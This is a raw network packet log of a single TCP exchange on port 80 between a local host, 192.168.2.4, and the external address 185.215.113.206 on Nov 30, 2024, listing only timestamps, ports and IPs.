Nov 30, 2024 09:44:24.644117117 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.644164085 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.689682007 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.689779997 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.690015078 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.690069914 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.690681934 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.690732002 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.691366911 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.691416979 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.692111969 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.692123890 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.692161083 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.693444014 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.693454981 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.693495989 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.694818974 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.694832087 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.694863081 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.694891930 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.696192026 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.696208000 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.696235895 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.696258068 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.697597027 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.697607040 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.697652102 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.697668076 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.698961973 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.699019909 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.700432062 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.700454950 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.700480938 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.700511932 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.701986074 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.701997042 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.702033997 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.702054024 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.703501940 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.703512907 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.703521013 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.703556061 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.703582048 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.705235004 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.705245972 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.705284119 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.706568003 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.706578970 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.706615925 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.706643105 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.708096027 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.708106995 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.708146095 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.709602118 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.709611893 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.709621906 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.709644079 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.709682941 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.711134911 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.711163998 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.711215019 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.712657928 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.712668896 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.712706089 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.714160919 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.714173079 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.714211941 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.715712070 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.715723038 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.715758085 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.715785027 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.717259884 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.717274904 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.717283964 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.717305899 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.717329025 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.718705893 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.718724012 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.718760014 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.718780041 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.720228910 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.720247030 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.720278025 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.720299959 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.721798897 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.721811056 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.721853971 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.723305941 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.723320961 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.723330975 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.723354101 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.723385096 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.724839926 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.724849939 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.724858046 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.724891901 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.724903107 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.760867119 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.760921001 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.761324883 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.761373997 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.762042046 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.762052059 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.762094021 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.763613939 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.763665915 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.764215946 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.764278889 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.765288115 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.765300989 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.765328884 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.765363932 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.766617060 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.766666889 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.767383099 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.767395020 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.767433882 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.768858910 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.768915892 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.770390987 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.770442009 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.771917105 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.771929026 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.771965981 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.773443937 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.773456097 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.773466110 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.773525000 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.773591995 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.774947882 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.774960041 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.774997950 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.776475906 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.776488066 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.776525021 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.778093100 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.778103113 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.778135061 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.779491901 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.779510021 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.779519081 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.779541969 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.779561996 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.781054020 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.781065941 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.781097889 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.781112909 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.782577038 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.782588005 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.782618999 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.782634020 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.784091949 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.784154892 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.785618067 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.785676003 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.787143946 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.787157059 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.787167072 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.787189960 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.787228107 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.788657904 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.788669109 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.788705111 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.788724899 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.790163994 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.790174961 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.790210962 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.791698933 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.791711092 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.791748047 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.791780949 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.793205976 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.793217897 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.793227911 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.793253899 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.793267012 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.794696093 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.794718981 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.794806004 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.795043945 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.841698885 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.841743946 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.842056990 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.842106104 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.842756987 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.842773914 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.842803955 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.842814922 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.844127893 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.844175100 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.844789982 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.844832897 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.845448971 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.845511913 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.890856981 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.890929937 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.891249895 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.891304016 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.891868114 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.891916990 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.892194986 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.892242908 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.892863035 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.892914057 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.893579006 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.893590927 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.893625021 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.893647909 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.894953012 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.894963980 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.895009041 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.896328926 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.896341085 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.896377087 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.896400928 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.897663116 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.897674084 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.897707939 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.897718906 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.899044991 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.899055004 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.899096012 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.900438070 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.900448084 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.900490046 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.901803970 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.901815891 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.901855946 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.903183937 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.903192997 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.903233051 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.904685974 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.904700994 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.904733896 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.904758930 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.906218052 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.906229019 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.906265974 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.907767057 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.907780886 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.907819033 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.909262896 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.909276009 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.909286022 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.909310102 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.909327030 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.910757065 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.910777092 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.910804033 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.910825968 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.912319899 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.912331104 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.912374020 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.913795948 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.913837910 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.913846970 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.913872004 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.915333033 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.915343046 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.915353060 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.915376902 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.915405035 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.916871071 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.916881084 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.916918993 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.918416977 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.918427944 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.918461084 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.918483973 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.919926882 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.919938087 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.919974089 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.919994116 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.921432972 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.921448946 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.921489954 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.922974110 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.922985077 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.922992945 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.923022985 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.923039913 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.924501896 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.924513102 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.924545050 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.924556971 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.925987959 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.926000118 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.926039934 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.962218046 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.962377071 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.962553978 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.962599993 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.963258028 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.963306904 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.963989019 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.964037895 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.966023922 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.966034889 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.966075897 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.967427969 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.967438936 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.967473030 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.967503071 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.968770027 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.968780041 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.968816996 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.970215082 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.970235109 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.970267057 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.970289946 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.973228931 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.973239899 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.973273993 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.974710941 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.974725008 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.974764109 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.974785089 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.976224899 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.976237059 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.976246119 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.976279020 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.976305008 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.977761030 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.977771997 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.977806091 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.977823019 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.979265928 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.979316950 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.980803013 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.980859041 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.982326984 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.982338905 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.982347965 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.982378006 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.982404947 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.983841896 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.983853102 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.983889103 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.985372066 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.985388041 CET	80	49749	185.215.113.206	192.168.2.4
